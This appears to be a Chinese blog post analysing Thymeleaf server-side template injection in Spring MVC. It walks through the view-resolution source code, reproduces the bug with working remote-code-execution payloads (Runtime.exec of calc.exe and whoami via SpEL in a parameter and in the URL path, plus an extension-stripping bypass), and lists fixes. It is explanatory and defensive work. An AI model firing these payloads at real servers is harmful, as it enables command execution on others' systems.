<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Thymeleaf SSTI漏洞分析

    VSole2021-11-11 12:56:34

    前言

    最近看到某平臺上有一篇關于SSTI的文章,之前也沒了解過SSTI的漏洞,因此決定寫篇文章記錄學習過程。

    模板引擎

    要了解SSTI漏洞,首先要對模板引擎有所了解。下面是模板引擎的幾個相關概念。

    模板引擎(這里特指用于Web開發的模板引擎)是為了使用戶界面與業務數據(內容)分離而產生的,它可以生成特定格式的文檔,用于網站的模板引擎就會生成一個標準的文檔。
    模板引擎的本質是將模板文件和數據通過模板引擎生成最終的HTML代碼。
    模板引擎不屬于特定技術領域,它是跨領域跨平臺的概念。

    模板引擎的出現是為了解決前后端分離的問題,拿JSP的舉個栗子,JSP本身也算是一種模板引擎,在JSP訪問的過程中編譯器會識別JSP的標簽,如果是JSP的內容則動態的提取并將執行結果替換,如果是HTML的內容則原樣輸出。

    xxx.jsp

    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="UTF-8">
    <title>Insert title here</title>
    </head>
    <body>
    <%=111*111%>
    </body>
    </html>
    

    上面的代碼經過JSP引擎編譯后,HTML部分直接輸出,而使用JSP標簽部分則是經過了解析后的結果。

    out.write("<!DOCTYPE html>\r\n");
          out.write("<html>\r\n");
          out.write("<head>\r\n");
          out.write("<meta charset=\"UTF-8\">\r\n");
          out.write("<title>Insert title here</title>\r\n");
          out.write("</head>\r\n");
          out.write("<body>\r\n");
        //解析后的結果
          out.print(111*111);
          out.write("\r\n");
          out.write("</body>\r\n");
          out.write("</html>");
    

    既然JSP已經是一個模板引擎了為什么后面還要推出其他的模板引擎?

    • 動態資源和靜態資源全部耦合在一起,還是需要在JSP文件中寫一些后端代碼,這其實比較尷尬,所以導致很多JAVA開發不能專注于JAVA開發還需要寫一些前端代碼。

    • 第一次請求jsp,必須要在web服務器中編譯成servlet,第一次運行會較慢。

    • 每次請求jsp都是訪問servlet再用輸出流輸出的html頁面,效率沒有直接使用html高。

    • 如果jsp中的內容很多,頁面響應會很慢,因為是同步加載。

    • jsp只能運行在web容器中,無法運行在nginx這樣的高效的http服務上。
    • 使用模板引擎的好處是什么?
    • 模板設計好后可以直接填充數據使用,不需要重新設計頁面,增強了代碼的復用性

    Thymeleaf

    Thymeleaf是眾多模板引擎的一種和其他的模板引擎相比,它有如下優勢:

    • Thymeleaf使用html通過一些特定標簽語法代表其含義,但并未破壞html結構,即使無網絡、不通過后端渲染也能在瀏覽器成功打開,大大方便界面的測試和修改。

    • Thymeleaf提供標準和Spring標準兩種方言,可以直接套用模板實現JSTL、 OGNL表達式效果,避免每天套模板、改JSTL、改標簽的困擾。同時開發人員也可以擴展和創建自定義的方言。

    • Springboot官方大力推薦和支持,Springboot官方做了很多默認配置,開發者只需編寫對應html即可,大大減輕了上手難度和配置復雜度。

    語法

    既然Thymeleaf也使用的html,那么如何區分哪些是Thymeleafhtml

    Thymeleafhtml中首先要加上下面的標識。

    <html xmlns:th="http://www.thymeleaf.org">
    

    標簽

    Thymeleaf提供了一些內置標簽,通過標簽來實現特定的功能。

    標簽作用示例th:id替換id<input th:id="${user.id}"/>th:text文本替換<p text:="${user.name}">bigsai</p>th:utext支持html的文本替換<p utext:="${htmlcontent}">content</p>th:object替換對象<div th:object="${user}"></div>th:value替換值<input th:value="${user.name}" >th:each迭代<tr th:each="student:${user}" >th:href替換超鏈接<a th:href="@{index.html}">超鏈接</a>th:src替換資源<script type="text/javascript" th:src="@{index.js}"></script> 鏈接表達式

    在Thymeleaf

    中,如果想引入鏈接比如link,href,src,需要使用@{資源地址}引入資源。引入的地址可以在static目錄下,也可以司互聯網中的資源。

    <link rel="stylesheet" th:href="@{index.css}">
    <script type="text/javascript" th:src="@{index.js}"></script>
    <a th:href="@{index.html}">超鏈接</a>
    

    變量表達式

    可以通過${…}在model中取值,如果在Model中存儲字符串,則可以通過${對象名}直接取值。

    public String getindex(Model model)//對應函數
      {
         //數據添加到model中
         model.addAttribute("name","bigsai");//普通字符串
         return "index";//與templates中index.html對應
      }
    
    
    <td th:text="'我的名字是:'+${name}"></td>
    

    取JavaBean對象使用${對象名.對象屬性}或者${對象名['對象屬性']}來取值。如果JavaBean寫了get方法也可以通過${對象.get方法名}取值。

    public String getindex(Model model)//對應函數
      {
        user user1=new user("bigsai",22,"一個幽默且熱愛java的社會青年");
        model.addAttribute("user",user1);//儲存javabean
        return "index";//與templates中index.html對應
      }
    
    
    <td th:text="${user.name}"></td>
      <td th:text="${user['age']}"></td>
    <td th:text="${user.getDetail()}"></td>
    

    取Map對象使用${Map名['key']}${Map名.key}

    @GetMapping("index")//頁面的url地址
     public String getindex(Model model)//對應函數
      {
         Map<String ,String>map=new HashMap<>();
         map.put("place","博學谷");
         map.put("feeling","very well");
         //數據添加到model中
         model.addAttribute("map",map);//儲存Map
         return "index";//與templates中index.html對應
      }
    
    
    <td th:text="${map.get('place')}"></td>
    <td th:text="${map['feeling']}"></td>
    

    取List集合:List集合是一個有序列表,需要使用each遍歷賦值,<tr th:each="item:${userlist}">

    @GetMapping("index")//頁面的url地址
     public String getindex(Model model)//對應函數
      {
         List<String>userList=new ArrayList<>();
         userList.add("zhang san 66");
         userList.add("li si 66");
         userList.add("wang wu 66");
         //數據添加到model中
         model.addAttribute("userlist",userList);//儲存List
         return "index";//與templates中index.html對應
      }
    
    
    <tr th:each="item:${userlist}">
            <td th:text="${item}"></td>
        </tr>
    

    選擇變量表達式

    變量表達式也可以寫為*{...}。星號語法對選定對象而不是整個上下文評估表達式。也就是說,只要沒有選定的對象,美元(${…})和星號(*{...})的語法就完全一樣。

    <div th:object="${user}">
        <p>Name: <span th:text="*{name}">賽</span>.</p>
        <p>Age: <span th:text="*{age}">18</span>.</p>
        <p>Detail: <span th:text="*{detail}">好好學習</span>.</p>
    </div>
    

    消息表達式

    文本外部化是從模板文件中提取模板代碼的片段,以便可以將它們保存在單獨的文件(通常是.properties文件)中,文本的外部化片段通常稱為“消息”。通俗易懂的來說#{…}語法就是用來

    讀取配置文件中數據 的。

    片段表達式

    片段表達式~{...}可以用于引用公共的目標片段,比如可以在一個template/footer.html中定義下面的片段,并在另一個template中引用。

    <div th:fragment="copy">
          &copy; 2011 The Good Thymes Virtual Grocery
        </div>
    
    
    <div th:insert="~{footer :: copy}"></div>
    

    Demo

    為了能快速對Thymeleaf上手,我們可以先寫一個Demo直觀的看到Thymeleaf的使用效果。

    首先創建一個SpringBoot項目,在模板處選擇Thymeleaf

    創建好的目錄結構如下,可以在templates中創建html模板文件。

    編寫Controller

    @Controller
    public class urlController {
        @GetMapping("index")//頁面的url地址
        public String getindex(Model model)//對應函數
        {
            model.addAttribute("name","bigsai");
            return "index";//與templates中index.html對應
        }
    }
    

    templates下創建模板文件index.html

    <!DOCTYPE html>
    <html  xmlns:th="http://www.thymeleaf.org">
    <head>
        <meta charset="UTF-8">
        <title>title</title>
    </head>
    <body>
    hello 第一個Thymeleaf程序
    <div th:text="${name}"></div>
    </body>
    </html>
    

    啟動程序訪問/index

    SpringMVC 視圖解析過程分析

    視圖解析的過程是發生在Controller處理后,Controller處理結束后會將返回的結果封裝為ModelAndView對象,再通過視圖解析器ViewResovler得到對應的視圖并返回。分析的栗子使用上面的Demo。

    封裝ModelAndView對象

    ServletInvocableHandlerMethod#invokeAndHandle中,做了如下操作:

    • invokeForRequest調用Controller后獲取返回值到returnValue

    • 判斷returnValue是否為空,如果是則繼續判斷0RequestHandled是否為True,都滿足的話設置requestHandledtrue

    • 通過handleReturnValue根據返回值的類型和返回值將不同的屬性設置到ModelAndViewContainer中。
    public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception {
            //調用Controller后獲取返回值到returnValue中
            Object returnValue = this.invokeForRequest(webRequest, mavContainer, providedArgs);
            this.setResponseStatus(webRequest);
            //判斷returnValue是否為空
            if (returnValue == null) {
                //判斷RequestHandled是否為True
                if (this.isRequestNotModified(webRequest) || this.getResponseStatus() != null || mavContainer.isRequestHandled()) {
                    this.disableContentCachingIfNecessary(webRequest);
                    //設置RequestHandled屬性
                    mavContainer.setRequestHandled(true);
                    return;
                }
            } else if (StringUtils.hasText(this.getResponseStatusReason())) {
                mavContainer.setRequestHandled(true);
                return;
            }
            mavContainer.setRequestHandled(false);
            Assert.state(this.returnValueHandlers != null, "No return value handlers");
            try {
            //通過handleReturnValue根據返回值的類型和返回值將不同的屬性設置到ModelAndViewContainer中。
                this.returnValueHandlers.handleReturnValue(returnValue, this.getReturnValueType(returnValue), mavContainer, webRequest);
            } catch (Exception var6) {
                if (logger.isTraceEnabled()) {
                    logger.trace(this.formatErrorForReturnValue(returnValue), var6);
                }
                throw var6;
            }
    

    下面分析handleReturnValue方法。

    • selectHandler根據返回值和類型找到不同的HandlerMethodReturnValueHandler,這里得到了ViewNameMethodReturnValueHandler,具體怎么得到的就不分析了。
    • 調用handler.handleReturnValue,這里得到不同的HandlerMethodReturnValueHandler處理的方式也不相同。
    public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
            //獲取handler
            HandlerMethodReturnValueHandler handler = this.selectHandler(returnValue, returnType);
            if (handler == null) {
                throw new IllegalArgumentException("Unknown return value type: " + returnType.getParameterType().getName());
            } else {
                //執行handleReturnValue操作
                handler.handleReturnValue(returnValue, returnType, mavContainer, webRequest);
            }
        }
    

    ViewNameMethodReturnValueHandler#handleReturnValue

    • 判斷返回值類型是否為字符型,設置mavContainer.viewName
    • 判斷返回值是否以redirect:開頭,如果是的話則設置重定向的屬性
    public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
            if (returnValue instanceof CharSequence) {
                String viewName = returnValue.toString();
                //設置返回值為viewName
                mavContainer.setViewName(viewName);
                //判斷是否需要重定向
                if (this.isRedirectViewName(viewName)) {
                    mavContainer.setRedirectModelScenario(true);
                }
            } else if (returnValue != null) {
                throw new UnsupportedOperationException("Unexpected return type: " + returnType.getParameterType().getName() + " in method: " + returnType.getMethod());
            }
        }
    

    通過上面的操作,將返回值設置為mavContainer.viewName,執行上述操作后返回到RequestMappingHandlerAdapter#invokeHandlerMethod中。通過getModelAndView獲取ModelAndView對象。

    protected ModelAndView invokeHandlerMethod(HttpServletRequest request, HttpServletResponse response, HandlerMethod handlerMethod) throws Exception {
           ...
                ModelAndView var15;
                invocableMethod.invokeAndHandle(webRequest, mavContainer, new Object[0]);
                if (asyncManager.isConcurrentHandlingStarted()) {
                    result = null;
                    return (ModelAndView)result;
                }
                //獲取ModelAndView對象
                var15 = this.getModelAndView(mavContainer, modelFactory, webRequest);
            } finally {
                webRequest.requestCompleted();
            }
            return var15;
        }
    

    getModelAndView根據viewNamemodel創建ModelAndView對象并返回。

    private ModelAndView getModelAndView(ModelAndViewContainer mavContainer, ModelFactory modelFactory, NativeWebRequest webRequest) throws Exception {
            modelFactory.updateModel(webRequest, mavContainer);
            //判斷RequestHandled是否為True,如果是則不會創建ModelAndView對象
            if (mavContainer.isRequestHandled()) {
                return null;
            } else {
                ModelMap model = mavContainer.getModel();
                //創建ModelAndView對象
                ModelAndView mav = new ModelAndView(mavContainer.getViewName(), model, mavContainer.getStatus());
                if (!mavContainer.isViewReference()) {
                    mav.setView((View)mavContainer.getView());
                }
                if (model instanceof RedirectAttributes) {
                    Map<String, ?> flashAttributes = ((RedirectAttributes)model).getFlashAttributes();
                    HttpServletRequest request = (HttpServletRequest)webRequest.getNativeRequest(HttpServletRequest.class);
                    if (request != null) {
                        RequestContextUtils.getOutputFlashMap(request).putAll(flashAttributes);
                    }
                }
                return mav;
            }
        }
    

    獲取視圖

    獲取ModelAndView后,通過DispatcherServlet#render獲取視圖解析器并渲染。

    protected void render(ModelAndView mv, HttpServletRequest request, HttpServletResponse response) throws Exception {
            Locale locale = this.localeResolver != null ? this.localeResolver.resolveLocale(request) : request.getLocale();
            response.setLocale(locale);
            String viewName = mv.getViewName();
            View view;
            if (viewName != null) {
                //獲取視圖解析器
                view = this.resolveViewName(viewName, mv.getModelInternal(), locale, request);
                if (view == null) {
                    throw new ServletException("Could not resolve view with name '" + mv.getViewName() + "' in servlet with name '" + this.getServletName() + "'");
                }
            } else {
                view = mv.getView();
                if (view == null) {
                    throw new ServletException("ModelAndView [" + mv + "] neither contains a view name nor a View object in servlet with name '" + this.getServletName() + "'");
                }
            }
            if (this.logger.isTraceEnabled()) {
                this.logger.trace("Rendering view [" + view + "] ");
            }
            try {
                if (mv.getStatus() != null) {
                    response.setStatus(mv.getStatus().value());
                }
            //渲染
                view.render(mv.getModelInternal(), request, response);
            } catch (Exception var8) {
                if (this.logger.isDebugEnabled()) {
                    this.logger.debug("Error rendering view [" + view + "]", var8);
                }
                throw var8;
            }
        }
    

    獲取視圖解析器在DispatcherServlet#resolveViewName中完成,循環遍歷所有視圖解析器解析視圖,解析成功則返回。

    protected View resolveViewName(String viewName, @Nullable Map<String, Object> model, Locale locale, HttpServletRequest request) throws Exception {
            if (this.viewResolvers != null) {
                Iterator var5 = this.viewResolvers.iterator();
            //循環遍歷所有的視圖解析器獲取視圖
                while(var5.hasNext()) {
                    ViewResolver viewResolver = (ViewResolver)var5.next();
                    View view = viewResolver.resolveViewName(viewName, locale);
                    if (view != null) {
                        return view;
                    }
                }
            }
            return null;
        }
    

    Demo中有5個視圖解析器。

    本以為會在ThymeleafViewResolver中獲取視圖,實際調試發現ContentNegotiatingViewResolver中已經獲取到了視圖。

    ContentNegotiatingViewResolver視圖解析器允許使用同樣的數據獲取不同的View。支持下面三種方式。

    1. 使用擴展名
    2. http://localhost:8080/employees/nego/Jack.xml
    3. 返回結果為XML
    4. http://localhost:8080/employees/nego/Jack.json
    5. 返回結果為JSON
    6. http://localhost:8080/employees/nego/Jack
    7. 使用默認view呈現,比如JSP
    8. HTTP Request Header中的Accept,Accept 分別是 text/jsp, text/pdf, text/xml, text/json, 無Accept 請求頭

    9. 使用參數
    10. http://localhost:8080/employees/nego/Jack?format=xml
    11. 返回結果為XML
    12. http://localhost:8080/employees/nego/Jack?format=json
    13. 返回結果為JSON

    ContentNegotiatingViewResolver#resolveViewName

    • getCandidateViews循環調用所有的ViewResolver解析視圖,解析成功放到視圖列表中返回。同樣也會根據Accept頭得到后綴并通過ViewResolver解析視圖。
    • getBestView根據Accept頭獲取最優的視圖返回。
    public View resolveViewName(String viewName, Locale locale) throws Exception {
            RequestAttributes attrs = RequestContextHolder.getRequestAttributes();
            Assert.state(attrs instanceof ServletRequestAttributes, "No current ServletRequestAttributes");
            List<MediaType> requestedMediaTypes = this.getMediaTypes(((ServletRequestAttributes)attrs).getRequest());
            if (requestedMediaTypes != null) {
                //獲取可以解析當前視圖的列表。
                List<View> candidateViews = this.getCandidateViews(viewName, locale, requestedMediaTypes);
                //根據Accept頭獲取一個最優的視圖返回
                View bestView = this.getBestView(candidateViews, requestedMediaTypes, attrs);
                if (bestView != null) {
                    return bestView;
                }
            }
        ...
    }
    

    視圖渲染

    得到View后,調用render方法渲染,也就是ThymleafView#render渲染。render方法中又通過調用renderFragment完成實際的渲染工作。

    漏洞復現

    我這里使用 spring-view-manipulation 項目來做漏洞復現。

    templatename

    漏洞代碼

    @GetMapping("/path")
    public String path(@RequestParam String lang) {
        return "user/" + lang + "/welcome"; //template path is tainted
    }
    

    POC

    __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x
    

    漏洞原理

    renderFragment渲染的過程中,存在如下代碼。

    • 當TemplateName中不包含::則將viewTemplateName賦值給templateName
    • 如果包含::則代表是一個片段表達式,則需要解析templateNamemarkupSelectors
    protected void renderFragment(Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
          ...
          //viewTemplateName中包含::則當作片段表達式執行
           if (!viewTemplateName.contains("::")) {
                    templateName = viewTemplateName;
                    markupSelectors = null;
                } else {
                    IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);
                    FragmentExpression fragmentExpression;
                    try {
                 //    根據viewTemplateName得到FragmentExpression
                        fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");
                    } catch (TemplateProcessingException var25) {
                        throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
                    }
            //創建ExecutedFragmentExpression
                    ExecutedFragmentExpression fragment = FragmentExpression.createExecutedFragmentExpression(context, fragmentExpression);
             //獲取templateName和markupSelectors
             templateName = FragmentExpression.resolveTemplateName(fragment);
                    markupSelectors = FragmentExpression.resolveFragments(fragment);
                    Map<String, Object> nameFragmentParameters = fragment.getFragmentParameters();
                    if (nameFragmentParameters != null) {
                        if (fragment.hasSyntheticParameters()) {
                            throw new IllegalArgumentException("Parameters in a view specification must be named (non-synthetic): '" + viewTemplateName + "'");
                        }
                        context.setVariables(nameFragmentParameters);
                    }
                }
          ...
          viewTemplateEngine.process(templateName, processMarkupSelectors, context, (Writer)templateWriter);
      }
    

    比如當viewTemplateName為welcome :: header則會將welcome解析為templateName,將header解析為markupSelectors。

    上面只是分析了為什么要根據::做不同的處理,并不涉及到漏洞,但是當視圖名中包含::會執行下面的代碼。

    fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");
    

    StandardExpressionParser#parseExpression中會通過preprocess進行預處理,預處理根據該正則\\_\\_(.*?)\\_\\_提取__xx__間的內容,獲取expression并執行execute方法。

    private static final Pattern PREPROCESS_EVAL_PATTERN = Pattern.compile("\\_\\_(.*?)\\_\\_", 32);
        static String preprocess(IExpressionContext context, String input) {
            if (input.indexOf(95) == -1) {
                return input;
            } else {
                IStandardExpressionParser expressionParser = StandardExpressions.getExpressionParser(context.getConfiguration());
                if (!(expressionParser instanceof StandardExpressionParser)) {
                    return input;
                } else {
                    Matcher matcher = PREPROCESS_EVAL_PATTERN.matcher(input);
                    if (!matcher.find()) {
                        return checkPreprocessingMarkUnescaping(input);
                    } else {
                        StringBuilder strBuilder = new StringBuilder(input.length() + 24);
                        int curr = 0;
                        String remaining;
                        do {
                            remaining = checkPreprocessingMarkUnescaping(input.substring(curr, matcher.start(0)));
              //提取__之間的內容
                            String expressionText = checkPreprocessingMarkUnescaping(matcher.group(1));
                            strBuilder.append(remaining);
             //獲取expression
                            IStandardExpression expression = StandardExpressionParser.parseExpression(context, expressionText, false);
                            if (expression == null) {
                                return null;
                            }
            //執行execute方法
                            Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);
                            strBuilder.append(result);
                            curr = matcher.end(0);
                        } while(matcher.find());
                        remaining = checkPreprocessingMarkUnescaping(input.substring(curr));
                        strBuilder.append(remaining);
                        return strBuilder.toString().trim();
                    }
    

    execute經過層層調用最終通過SPEL執行表達式的內容。

    也就是說這個漏洞本質上是SPEL表達式執行。

    URI PATH

    下面的情況也可以觸發漏洞,這個可能很多師傅和我一樣都覺得很奇怪,這個并沒有返回值,理論上是不會執行的。

    @GetMapping("/doc/{document}")
        public void getDocument(@PathVariable String document) {
            log.info("Retrieving " + document);
            //returns void, so view name is taken from URI
        }
    

    前面我們分析了SpingMVC視圖解析的過程,在解析視圖首先獲取返回值并封裝為ModleAndView,而在當前當前環境中并沒有返回值,按理說ModelAndView應該為空,為什么還能正常得到ModleAndView呢?

    原因主要在DispatcherServlet#doDispatch中,獲取ModleAndView后還會執行applyDefaultViewName方法。

    protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
         ...
                        mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
                        if (asyncManager.isConcurrentHandlingStarted()) {
                            return;
                        }
                        this.applyDefaultViewName(processedRequest, mv);
           }
    

    applyDefaultViewName中判斷當ModelAndView為空,則通過getDefaultViewName

    獲取請求路徑作為ViewName。這也是在urlPath中傳入Payload可以執行的原因。

    private void applyDefaultViewName(HttpServletRequest request, @Nullable ModelAndView mv) throws Exception {
            if (mv != null && !mv.hasView()) {
                String defaultViewName = this.getDefaultViewName(request);
                if (defaultViewName != null) {
                    mv.setViewName(defaultViewName);
                }
            }
        }
    

    但是需要注意的是如果要在urlPath中傳入payload,則不能有返回值,否則就不會調用applyDefaultViewName設置了。下面的方式將不會導致代碼執行。

    @GetMapping("/doc/{document}")
        public String getDocument(@PathVariable String document, HttpServletResponse response) {
            log.info("Retrieving " + document);
            return "welcome";
        }
    

    回顯失敗問題分析

    當在URL PATH中使用下面的POC會拿不到結果。

    /doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x
    

    經過分析問題主要是在StandardExpressionParser#parseExpression,在preprocess預處理結束后還會通過Expression.parse進行一次解析,這里如果解析失敗則不會回顯。

    static IStandardExpression parseExpression(IExpressionContext context, String input, boolean preprocess) {
            IEngineConfiguration configuration = context.getConfiguration();
            String preprocessedInput = preprocess ? StandardExpressionPreprocessor.preprocess(context, input) : input;
            IStandardExpression cachedExpression = ExpressionCache.getExpressionFromCache(configuration, preprocessedInput);
            if (cachedExpression != null) {
                return cachedExpression;
            } else {
                Expression expression = Expression.parse(preprocessedInput.trim());
                if (expression == null) {
                    throw new TemplateProcessingException("Could not parse as expression: \"" + input + "\"");
                } else {
                    ExpressionCache.putExpressionIntoCache(configuration, preprocessedInput, expression);
                    return expression;
                }
            }
        }
    

    使用上面的POCparse的內容如下,這里可以看到::后沒有內容,因此這里肯定是會失敗的。

    而在templatename那個Demo中,parse內容如下是::后是有內容的。所以能否回顯的關鍵就是Expression.parse能否正常執行。

    但是我們在URL PATH的POC中也設置了::.x為什么會被去掉呢?

    在分析URL PATH這種方式能獲取ModelAndView的原因時,我們分析過會在applyDefaultViewName中獲取URL

    Path作為ModelAndView的name,這個操作在getViewName中完成,getLookupPathForRequest僅僅獲取了請求的地址并沒有對后面的.x做處理,處理主要是在transformPath中完成的。

    public String getViewName(HttpServletRequest request) {
        String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
        return this.prefix + this.transformPath(lookupPath) + this.suffix;
    }
    

    transformPath中通過stripFilenameExtension去除后綴,是這部分導致了.x后內容為空。

    protected String transformPath(String lookupPath) {
            String path = lookupPath;
            if (this.stripLeadingSlash && lookupPath.startsWith("/")) {
                path = lookupPath.substring(1);
            }
            if (this.stripTrailingSlash && path.endsWith("/")) {
                path = path.substring(0, path.length() - 1);
            }
            //
            if (this.stripExtension) {
                path = StringUtils.stripFilenameExtension(path);
            }
            if (!"/".equals(this.separator)) {
                path = StringUtils.replace(path, "/", this.separator);
            }
            return path;
        }
    

    stripFilenameExtension去除最后一個.后的內容,所以可以通過下面的方式繞過。

    /doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()%7d__::assadasd.asdas
    

    漏洞修復

    配置ResponseBody或RestController注解

    @GetMapping("/doc/{document}")
        @ResponseBody
        public void getDocument(@PathVariable String document) {
            log.info("Retrieving " + document);
            //returns void, so view name is taken from URI
        }
    

    配置了ResponseBody注解確實無法觸發,經過調試在applyDefaultViewNameModelAndViewNull而非ModelAndView對象,所以hasView()會導致異常,不會設置視圖名。

    所以我們要分析創建ModelAndView對象的方法,也就是getModelAndView,這里requestHandled設置為True時會返回Null,而不會創建視圖。

    當我們設置了ResponseBody注解后,handler返回的是RequestResponseBodyMethodProcesser,所以這里會調用它的handleReturnValue,設置了RequestHandled屬性為True。

    配置RestController修復和這種方式類似,也是由于使用RequestResponseBodyMethodProcesser設置了RequestHandled屬性導致不能得到ModelAndView對象了。

    有小伙伴可能要問,上面只是講的URL PATH中的修復,templatename中這種方式也能修復嘛?答案是肯定的,根本原因在設置了RequestHandled屬性后,ModelAndView一定會返回Null。

    通過redirect:

    根據springboot定義,如果名稱以redirect:開頭,則不再調用ThymeleafView解析,調用RedirectView去解析controller的返回值

    所以配置redirect:主要影響的是獲取視圖的部分。在ThymeleafViewResolver#createView中,如果視圖名以redirect:開頭,則會創建RedirectView并返回。所以不會使用ThymeleafView解析。

    方法參數中設置HttpServletResponse 參數

    @GetMapping("/doc/{document}")
        public void getDocument(@PathVariable String document, HttpServletResponse response) {
            log.info("Retrieving " + document);
        }
    
    由于controller的參數被設置為HttpServletResponse,Spring認為它已經處理了HTTP
    Response,因此不會發生視圖名稱解析。

    首先聲明下 這種方式只對返回值為空的情況下有效,也就是URL PATH 的方式 ,下面我會解釋一下原因。

    設置了HttpServletResponse后也是設置requestHandled設置為True導致在applyDefaultViewName無法設置默認的ViewName。

    但是它的設置是在ServletInvocableHandlerMethod#invokeAndHandle中。由于mavContainer.isRequestHandled()被設置為True,所以進入到IF語句中設置了requestHandled屬性,但是這里的前提條件是returnValue為空,所以這種修復方法只有在返回值為空的情況下才有效。

    requestHandled的屬性設置在HandlerMethodArgumentResolverComposite#resolveArgument解析參數時,這里不同的傳參方式獲得的ArgumentResolver是不同的,比如沒加HttpServletResponse時得到的是PathVariableMethodArgumentResolver

    加上后會對HttpServletResponse也進行參數解析,解析后的結果為ServletResponseMethodArgumentResolver,在它的resolveArgument方法中,會設置requestHandled屬性。

    總結

    Thymeleaf 模板注入和我理解的不太一樣,之前以為這種模板注入應該是解析特定標簽時候導致的問題。

    從修復的角度來講使用@ResponseBody或者@RestController更容易修復漏洞,而設置HttpServletResponse有一定的局限性,對templatename的方式無用。

    參考

    • Java安全之Thymeleaf SSTI分析
    • Thymeleaf一篇就夠了
    modelandviewthymeleaf
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Thymeleaf SSTI漏洞分析
    2021-11-11 12:56:34
    要了解SSTI漏洞,首先要對模板引擎有所了解。下面是模板引擎的幾個相關概念。 模板引擎(這里特指用于Web開發的模板引擎)是為了使用戶界面與業務數據(內容)分離而產生的,它可以生成特定格式的文檔,用于網站的模板引擎就會生成一個標準的文檔。 模板引擎的本質是將模板文件和數據通過模板引擎生成最終的HTML代碼。 模板引擎不屬于特定技術領域,它是跨領域跨平臺的概念。 模板引擎的出現是為了解決前后端分離
    Spring 視圖操縱漏洞
    2020-11-03 14:06:15
    聲明 由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。因此我們的 ViewName *不滿足,自然是在 *resolveViewName 處理之后返回了*ThymeleafView *。
    對于管理系統或其他需要用戶登錄的系統,登錄驗證都是必不可少的環節,在 SpringBoot 開發的項目中,通過實現攔截器來實現用戶登錄攔截并驗證。 1、SpringBoot 實現登錄攔截的原理 SpringBoot 通過實現HandlerInterceptor接口實現攔截器,通過實現WebMvcConfigurer接口實現一個配置類,在配置類中注入攔截器,最后再通過 @Configuration
    一、異步執行 實現方式二種: 使用異步注解@aysnc、啟動類:添加@EnableAsync注解 JDK 8本身有一個非常好用的Future類——CompletableFuture
    0x01 前言在上一篇文章中深入淺出內存馬(一),我介紹了基于Tomcat的Filter內存馬,不光是Fil
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类